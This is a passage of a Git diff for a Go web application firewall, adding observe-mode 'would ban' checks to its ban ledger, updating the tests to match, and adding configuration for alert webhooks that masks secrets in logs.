permanent by the request: the netblock is malicious. -func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool) { +// The last result reports whether the request made the ban permanent. +func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool, bool) { l.mu.Lock() defer l.mu.Unlock() ban := l.active(client, now) if ban == nil { - return Ban{}, false + return Ban{}, false, false } ban.Notes.Requests++ ban.Notes.Refused++ - if ban.Cause == CauseAttack && !ban.Permanent() { + madePermanent := ban.Cause == CauseAttack && !ban.Permanent() + if madePermanent { ban.Expires = time.Time{} l.markChanged() } - return *ban, true + return *ban, true, madePermanent } // Find is Check without counting the request among those the ban -// refused: in observe mode a ban refuses nothing. -func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool) { +// refused, and without making the ban permanent: in observe mode a ban +// refuses nothing. The last result reports whether Check would have made +// the ban permanent. +func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) { l.mu.Lock() defer l.mu.Unlock() ban := l.active(client, now) if ban == nil { - return Ban{}, false + return Ban{}, false, false } - return *ban, true + return *ban, true, ban.Cause == CauseAttack && !ban.Permanent() } // activeBan returns the ban in bans, a netblock's bans oldest first, that @@ -244,28 +248,78 @@ func activeBan(bans []Ban, now time.Time) *Ban { } // BanForLimit bans netblock at now for a broken limit, with notes, and -// returns the ban. A first ban lasts LimitBanDuration. A ban made within -// LimitBanRepeatWindow after the netblock's ban that ended last, other -// than one for a clear sign of attack or a lifted one, lasts repeatFactor -// times as long as that one. A ban that would be longer than -// MaxBanDuration is permanent instead. If a ban on netblock is still +// returns the ban, and true. A first ban lasts LimitBanDuration. A ban +// made within LimitBanRepeatWindow after the netblock's ban that ended +// last, other than one for a clear sign of attack or a lifted one, lasts +// repeatFactor times as long as that one. A ban that would be longer +// than MaxBanDuration is permanent instead. If a ban on netblock is still // active, as when two of its requests break a limit at once, that ban is -// returned and no other is made. The ledger fills in the notes' Refused -// and EarlierBans itself, and gives the ban the reason "requests per -// over the limit of ", from the notes. -func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Ban { - reason := fmt.Sprintf("requests per %s over the limit of %d", - notes.Window, notes.Limit) +// returned with false, and no other is made. The ledger fills in the +// notes' Refused and EarlierBans itself, and gives the ban the reason +// "requests per over the limit of ", from the notes. +func (l *Ledger) BanForLimit( + netblock netip.Prefix, now time.Time, notes Notes, +) (Ban, bool) { + return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true) +} - return l.ban(netblock, now, CauseLimit, reason, notes) +// WouldBanForLimit returns what BanForLimit would, without making the ban: +// what observe mode would have done. +func (l *Ledger) WouldBanForLimit( + netblock netip.Prefix, now time.Time, notes Notes, +) (Ban, bool) { + return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false) } // BanForAttack bans netblock at now for a clear sign of attack, with -// notes, and returns the ban, as BanForLimit does. A first ban lasts -// AttackBanDuration; once the netblock has had one that was not lifted, -// the next is permanent. Its reason is "matched the rule ". -func (l *Ledger) BanForAttack(netblock netip.Prefix, now time.Time, notes Notes) Ban { - return l.ban(netblock, now, CauseAttack, "matched the rule "+notes.RuleID, notes) +// notes, and returns the ban, and whether it made it, as BanForLimit +// does. A first ban lasts AttackBanDuration; once the netblock has had +// one that was not lifted, the next is permanent. Its reason is "matched +// the rule ". +func (l *Ledger) BanForAttack( + netblock netip.Prefix, now time.Time, notes Notes, +) (Ban, bool) { + return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true) +} + +// WouldBanForAttack returns what BanForAttack would, without making the +// ban: what observe mode would have done. +func (l *Ledger) WouldBanForAttack( + netblock netip.Prefix, now time.Time, notes Notes, +) (Ban, bool) { + return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false) +} + +// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit +// or CauseAttack, made at now would be permanent, as BanForLimit or +// BanForAttack would make it. It works out nothing else of the ban. +func (l *Ledger) WouldBePermanent( + netblock netip.Prefix, now time.Time, cause string, +) bool { + l.mu.Lock() + defer l.mu.Unlock() + + var held []Ban + if bans, found := l.netblocks.Peek(netblock); found { + held = *bans + } + + if cause == CauseAttack { + return l.attackExpiry(held, now).IsZero() + } + + return l.limitExpiry(held, now).IsZero() +} + +// limitReason is the reason of a ban for a broken limit, with notes. +func limitReason(notes Notes) string { + return fmt.Sprintf("requests per %s over the limit of %d", notes.Window, notes.Limit) +} + +// attackReason is the reason of a ban for a clear sign of attack, with +// notes. +func attackReason(notes Notes) string { + return "matched the rule " + notes.RuleID } // BanForAdmin bans netblock at now for an admin, with reason, until @@ -483,10 +537,12 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool { } // ban bans netblock at now for cause, with reason and notes, as -// BanForLimit and BanForAttack describe, and returns the ban. +// BanForLimit and BanForAttack describe, and returns the ban, and whether +// it made it. Unless keep is true, the ban is not made, only returned: it +// is the ban that would have been made. func (l *Ledger) ban( - netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, -) Ban { + netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool, +) (Ban, bool) { l.mu.Lock() defer l.mu.Unlock() @@ -497,7 +553,7 @@ func (l *Ledger) ban( if found { active := activeBan(*bans, now) if active != nil { - return *active + return *active, false } held = *bans @@ -513,11 +569,15 @@ func (l *Ledger) ban( ban.Expires = l.limitExpiry(held, now) } + if !keep { + return ban, true + } + l.add(ban) l.made[cause]++ l.markChanged() - return ban + return ban, true } // earlierBans returns how many bans a netblock with the bans held, oldest diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index 87fe845..1266339 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -21,7 +21,7 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) { // Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and // 81 hours. for i, hours := range []int{1, 3, 9, 27, 81} { - ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) length := time.Duration(hours) * time.Hour if !ban.Expires.Equal(now.Add(length)) || @@ -35,12 +35,12 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) { // The sixth would last 243 hours, more than seven days: it is // permanent, and never ends. - ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Permanent() { t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires) } - _, banned := ledger.Check(netblock.Addr(), now.Add(100*365*day)) + _, banned, _ := ledger.Check(netblock.Addr(), now.Add(100*365*day)) if !banned { t.Error("a permanent ban ended") } @@ -64,8 +64,8 @@ func TestRepeatWindowRunsOut(t *testing.T) { ledger := bans.New(defaultRules()) netblock := netip.MustParsePrefix("203.0.113.9/32") - first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - second := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) + first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) if second.Expires.Sub(second.Start) != tc.want || second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { @@ -83,7 +83,7 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { rules.LimitBanDuration = rules.MaxBanDuration + time.Hour ledger := bans.New(rules) - ban := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), + ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{}) if !ban.Permanent() { t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) @@ -103,7 +103,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { now := midnight() for i := range 14 { - ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Expires.After(ban.Start) { t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires) } @@ -111,7 +111,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { now = ban.Expires } - ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Permanent() { t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires) } @@ -123,12 +123,22 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { ledger := bans.New(defaultRules()) netblock := netip.MustParsePrefix("203.0.113.9/32") - first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - again := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + if !made { + t.Error("the first ban was not made") + } - if again != first || len(ledger.Bans(netblock)) != 1 { - t.Errorf("a limit broken during a ban gave %+v and %d bans, want %+v and 1", - again, len(ledger.Bans(netblock)), first) + again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + + if made || again != first || len(ledger.Bans(netblock)) != 1 { + t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+ + "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first) + } + + again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{}) + if made || again != first { + t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made", + again, made, first) } } @@ -137,21 +147,21 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { ledger := bans.New(defaultRules()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) for range 3 { - got, banned := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) if !banned || got.Start != ban.Start { t.Fatalf("check during the ban gives %+v and %t", got, banned) } } - _, banned := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight()) + _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight()) if banned { t.Error("another netblock is banned") } - _, banned = ledger.Check(netblock.Addr(), ban.Expires) + _, banned, _ = ledger.Check(netblock.Addr(), ban.Expires) if banned { t.Error("the ban did not end") } @@ -169,14 +179,14 @@ func TestFindCountsNothing(t *testing.T) { ledger := bans.New(defaultRules()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) - got, banned := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) if !banned || got != ban { t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) } - _, banned = ledger.Find(netblock.Addr(), ban.Expires) + _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) if banned { t.Error("the ban did not end") } @@ -198,7 +208,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { d := netip.MustParsePrefix("2001:db8::/64") now := midnight() - first := ledger.BanForLimit(a, now, bans.Notes{}) + first, _ := ledger.BanForLimit(a, now, bans.Notes{}) ledger.BanForLimit(b, now, bans.Notes{}) ledger.BanForLimit(c, now, bans.Notes{}) @@ -233,8 +243,8 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) { ledger := bans.New(rules) netblock := netip.MustParsePrefix("203.0.113.9/32") - first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - second := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) + first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) held := ledger.Bans(netblock) if len(held) != 1 || held[0] != second || @@ -251,7 +261,7 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { netblock := netip.MustParsePrefix("203.0.113.9/32") notes := bans.Notes{RuleID: "env-file", Target: "path"} - ban := ledger.BanForAttack(netblock, midnight(), notes) + ban, _ := ledger.BanForAttack(netblock, midnight(), notes) if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack || ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 || ledger.Made(bans.CauseLimit) != 0 { @@ -262,23 +272,31 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { wantChanged(t, ledger, true) - // In observe mode the ban refuses nothing, and stays as it is. - got, _ := ledger.Find(netblock.Addr(), midnight().Add(time.Hour)) - if got.Permanent() { - t.Fatal("a request found under the ban made it permanent") + // In observe mode the ban refuses nothing, and stays as it is, while + // Find tells that the request would have made it permanent. + got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour)) + if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent { + t.Fatalf("a request found under the ban left it %+v, would have made it "+ + "permanent %t, want it as it was, and true", got, wouldMakePermanent) } - // A request it refuses makes it permanent, and bans.json due. - got, _ = ledger.Check(netblock.Addr(), midnight().Add(time.Hour)) - if !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() { - t.Fatalf("after a request during the ban, it is %+v, want it permanent", got) + wantChanged(t, ledger, false) + + // A request it refuses makes it permanent, says so, and makes + // bans.json due. + got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour)) + if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() { + t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+ + "want it made permanent", got, madePermanent) } wantChanged(t, ledger, true) - _, banned := ledger.Check(netblock.Addr(), midnight().Add(100*365*day)) - if !banned { - t.Error("the permanent ban ended") + // The next request finds it permanent already. + _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day)) + if !banned || madePermanent { + t.Errorf("a later request is banned %t, and made the ban permanent %t, "+ + "want banned by the permanent ban", banned, madePermanent) } } @@ -289,8 +307,8 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { netblock := netip.MustParsePrefix("203.0.113.9/32") // A ban for a broken limit before does not count. - first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - second := ledger.BanForAttack(netblock, first.Expires, bans.Notes{}) + first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second, _ := ledger.BanForAttack(netblock, first.Expires, bans.Notes{}) if second.Expires.Sub(second.Start) != 7*day { t.Fatalf("the first ban for an attack lasts %s, want 7 days", @@ -299,14 +317,14 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { // Once that has run out without a request, the netblock is served, and // its next clear sign of attack bans it for good. - _, banned := ledger.Check(netblock.Addr(), second.Expires) + _, banned, _ := ledger.Check(netblock.Addr(), second.Expires) if banned { t.Fatal("the ban did not end") } // Its notes show the earlier ban for an attack that makes it permanent, // beside the one for a limit. - third := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{}) + third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{}) if !third.Permanent() || third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ @@ -314,6 +332,84 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { } } +func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + wantChanged(t, ledger, true) + + // While the first ban lasts, none would be made. + during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{}) + if would || during != first { + t.Errorf("during the first ban, would ban %t with %+v, want false with %+v", + would, during, first) + } + + // As it ends, a clear sign of attack would ban for seven days, and a + // limit broken again for three hours, but neither is made. + limitNotes := bans.Notes{Limit: 1, Window: "minute"} + attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, + bans.Notes{RuleID: "git-dir"}) + limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes) + + if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || + attack.Reason != "matched the rule git-dir" || !wouldLimit || + !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || + limit.Reason != "requests per minute over the limit of 1" { + t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+ + "three hours for the limit", attack, limit) + } + + if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 || + ledger.Made(bans.CauseAttack) != 0 { + t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock)) + } + + wantChanged(t, ledger, false) + + // The ban made is the one that would have been. + made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes) + if made != limit { + t.Errorf("the ban made is %+v, want %+v", made, limit) + } +} + +func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + now := midnight() + + // Five bans for a limit in a row, of 1, 3, 9, 27 and 81 hours, are not + // permanent. The sixth, of 243 hours, would be, while a first ban for + // an attack would not. + for i := range 5 { + if ledger.WouldBePermanent(netblock, now, bans.CauseLimit) { + t.Fatalf("ban %d for a limit would be permanent", i+1) + } + + ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) + now = ban.Expires + } + + if !ledger.WouldBePermanent(netblock, now, bans.CauseLimit) { + t.Error("the sixth ban for a limit would not be permanent") + } + + if ledger.WouldBePermanent(netblock, now, bans.CauseAttack) { + t.Error("a first ban for an attack would be permanent") + } + + // Once a first ban for an attack has ended, the next would be permanent. + attack, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) + if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) { + t.Error("a second ban for an attack would not be permanent") + } +} + func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { t.Parallel() @@ -322,16 +418,16 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { // Three times the seven days would be permanent; a limit broken as the // ban for an attack ends bans for an hour, as a first broken limit does. - attack := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) - limit := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) + attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) + limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit { t.Errorf("the ban for a limit is %+v, want one of an hour", limit) } // And a request during the ban for a limit leaves it as it is. - got, _ := ledger.Check(netblock.Addr(), limit.Start) - if got.Permanent() { + got, _, madePermanent := ledger.Check(netblock.Addr(), limit.Start) + if got.Permanent() || madePermanent { t.Error("a request during a ban for a limit made it permanent") } } @@ -346,7 +442,7 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) { Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, } - ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request}) + ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request}) cut := long[:256] want := bans.Request{ diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index 2cd1470..5810004 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -42,7 +42,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) { high := netip.MustParsePrefix("203.0.113.10/32") low := netip.MustParsePrefix("203.0.113.9/32") - first := ledger.BanForLimit(v6, midnight(), bans.Notes{}) + first, _ := ledger.BanForLimit(v6, midnight(), bans.Notes{}) ledger.BanForLimit(high, midnight(), bans.Notes{}) ledger.BanForLimit(low, midnight(), bans.Notes{}) ledger.BanForLimit(v6, first.Expires, bans.Notes{}) @@ -68,7 +68,7 @@ func TestLoadedBansCarryOn(t *testing.T) { before := bans.New(defaultRules()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1}) + ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1}) // Loaded into a new ledger, as across a restart, the ban still refuses // while it lasts, and once it has ended a broken limit bans for three @@ -76,12 +76,12 @@ func TestLoadedBansCarryOn(t *testing.T) { after := bans.New(defaultRules()) after.Load(before.Snapshot()) - _, banned := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) + _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) if !banned { t.Error("the loaded ban does not refuse") } - again := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) + again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) if again.Expires.Sub(again.Start) != 3*time.Hour || again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", @@ -111,7 +111,7 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) { "198.51.100.7": true, "198.51.100.8": false, } { - _, banned := ledger.Check(netip.MustParseAddr(client), midnight()) + _, banned, _ := ledger.Check(netip.MustParseAddr(client), midnight()) if banned != want { t.Errorf("%s is refused: %t, want %t", client, banned, want) } @@ -150,19 +150,19 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) { now := midnight().Add(2 * time.Hour) client := netip.MustParseAddr("203.0.113.9") - ban, banned := ledger.Find(client, now) + ban, banned, _ := ledger.Find(client, now) if !banned || !ban.Permanent() { t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned) } - ban, banned = ledger.Check(client, now) + ban, banned, _ = ledger.Check(client, now) if !banned || !ban.Permanent() { t.Errorf("the client is refused: %t, under %+v, want under the permanent ban", banned, ban) } // A limit broken now makes no shorter ban over the permanent one. - ban = ledger.BanForLimit(netblock, now, bans.Notes{}) + ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+ "want the permanent ban and 2", ban, len(ledger.Bans(netblock))) @@ -194,7 +194,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { // Once both have ended, a limit broken within the repeat window bans // for three times the 9 hours, and the notes count the two bans // before the 9-hour one and it, for a limit, and the admin's. - ban := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) if ban.Expires.Sub(ban.Start) != 27*time.Hour || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { t.Errorf("the next ban lasts %s with earlier bans %+v, "+ @@ -255,15 +255,15 @@ func TestLoadReplacesTheBansHeld(t *testing.T) { // bans.json is taken in, that ban is lifted. ledger.Load([]bans.Ban{kept}) - _, banned := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight()) + _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight()) if banned { t.Error("a ban left out of the second load still refuses") } // The ledger holds one ban, so it makes two more without dropping any. - first := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), + first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{}) - second := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(), + second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(), bans.Notes{}) want := []bans.Ban{first, second, kept} diff --git a/internal/config/config.go b/internal/config/config.go index 487a8ca..063b593 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -22,6 +22,7 @@ import ( "time" "unicode/utf8" + "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/remotelog" ) @@ -158,6 +159,19 @@ type Config struct { LogRemoteBuffer int LogRemoteFacility int LogRemoteAppName string + // AlertWebhookURL is where each alert is posted as JSON + // (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset and no alert is + // sent. AlertWebhookHeaders are sent with each + // (SWWAF_ALERT_WEBHOOK_HEADERS). AlertEvents are the events alerts are + // sent for (SWWAF_ALERT_EVENTS). A repeat of an alert within + // AlertCooldown is held back (SWWAF_ALERT_COOLDOWN), and so is an alert + // past AlertMaxPerHour in an hour, for the hour's summary + // (SWWAF_ALERT_MAX_PER_HOUR); 0 is off for both. + AlertWebhookURL *url.URL + AlertWebhookHeaders http.Header + AlertEvents []string + AlertCooldown time.Duration + AlertMaxPerHour int // settings are the values read, as given or by default, and the // files they were read from, for the log line at start. @@ -176,7 +190,8 @@ const ( ipv4Bits = 32 // minTokenLength is the fewest characters a token may have. minTokenLength = 32 - // masked is what the log shows for a token that is set. + // masked is what the log shows for a token that is set, and in place of + // a secret in another setting. masked = "********" // defaultListenAddr and defaultUpstreamURL are the defaults of // SWWAF_LISTEN_ADDR and SWWAF_UPSTREAM_URL. @@ -230,7 +245,17 @@ var ( errNotFacility = errors.New("is not a syslog facility such as local0 or daemon") errNotAppName = errors.New( "is not 1 to 48 printable ASCII characters without a space, such as gitea") - errSetTwice = errors.New("set only one of them") + errSetTwice = errors.New("set only one of them") + errNotWebhookURL = errors.New( + "is not an http or https URL without a user or a fragment, " + + "such as https://alerts.example/smallwebwaf") + errNotWebhookHeader = errors.New( + "is not a header name followed by : and the header's value, " + + "such as Authorization:Bearer ") + errNotAlertEvent = errors.New( + "is not ban, permanent_ban, waf_block, anomaly, reputation_hit, " + + "source_failure or file_error") + errNotNumberOrOff = errors.New("is not a whole number above zero, such as 60, or off") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -278,15 +303,21 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range"), - AdminToken: env.token("SWWAF_ADMIN_TOKEN"), - MetricsToken: env.token("SWWAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), - RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), - RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), - LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), - LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), - LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), - LogRemoteFacility: env.facility("SWWAF_LOG_REMOTE_FACILITY", "local0"), + AdminToken: env.token("SWWAF_ADMIN_TOKEN"), + MetricsToken: env.token("SWWAF_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), + RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), + RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), + LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), + LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), + LogRemoteFacility: env.facility("SWWAF_LOG_REMOTE_FACILITY", "local0"), + AlertWebhookURL: env.webhookURL("SWWAF_ALERT_WEBHOOK_URL"), + AlertWebhookHeaders: env.webhookHeaders("SWWAF_ALERT_WEBHOOK_HEADERS"), + AlertEvents: env.alertEvents("SWWAF_ALERT_EVENTS", + strings.Join(alerts.Events(), ",")), + AlertCooldown: env.duration("SWWAF_ALERT_COOLDOWN", "15m"), + AlertMaxPerHour: env.numberOrOff("SWWAF_ALERT_MAX_PER_HOUR", "60"), } cfg.LogRemoteAppName = env.appName("SWWAF_LOG_REMOTE_APP_NAME", @@ -636,6 +667,48 @@ func (e *environment) appName(name, instanceName string, sending bool) string { return value } +// webhookURL reads the setting that is where each alert is posted. Unset +// or empty, it is nil, and no alert is sent. The log shows ******** in +// place of its path and query, and an error shows none of it, since many +// webhooks carry their secret there. +func (e *environment) webhookURL(name string) *url.URL { + value, _ := e.lookup(name) + webhook, logged, err := parseWebhookURL(value) + e.settings = append(e.settings, slog.String(name, logged)) + e.check(name, err) + + return webhook +} + +// webhookHeaders reads the setting that is the headers sent with each +// alert. The log shows each header's value as ********, since a header +// such as Authorization carries a secret. +func (e *environment) webhookHeaders(name string) http.Header { + value, _ := e.lookup(name) + headers, logged, err := parseWebhookHeaders(value) + e.settings = append(e.settings, slog.String(name, logged)) + e.check(name, err) + + return headers +} + +// alertEvents reads the setting that is the events alerts are sent for. +func (e *environment) alertEvents(name, defaultValue string) []string { + events, err := parseAlertEvents(e.value(name, defaultValue)) + e.check(name, err) + + return events +} + +// numberOrOff reads a setting that is a whole number above zero, or off, +// which is 0. +func (e *environment) numberOrOff(name, defaultValue string) int { + number, err := parseNumberOrOff(e.value(name, defaultValue)) + e.check(name, err) + + return number +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { @@ -1051,6 +1124,96 @@ func parseFacility(value string) (int, error) { return number, nil } +// parseWebhookURL reads where each alert is posted: http or https, a +// host, and an optional port from 1 to 65535, path and query, without a +// user or 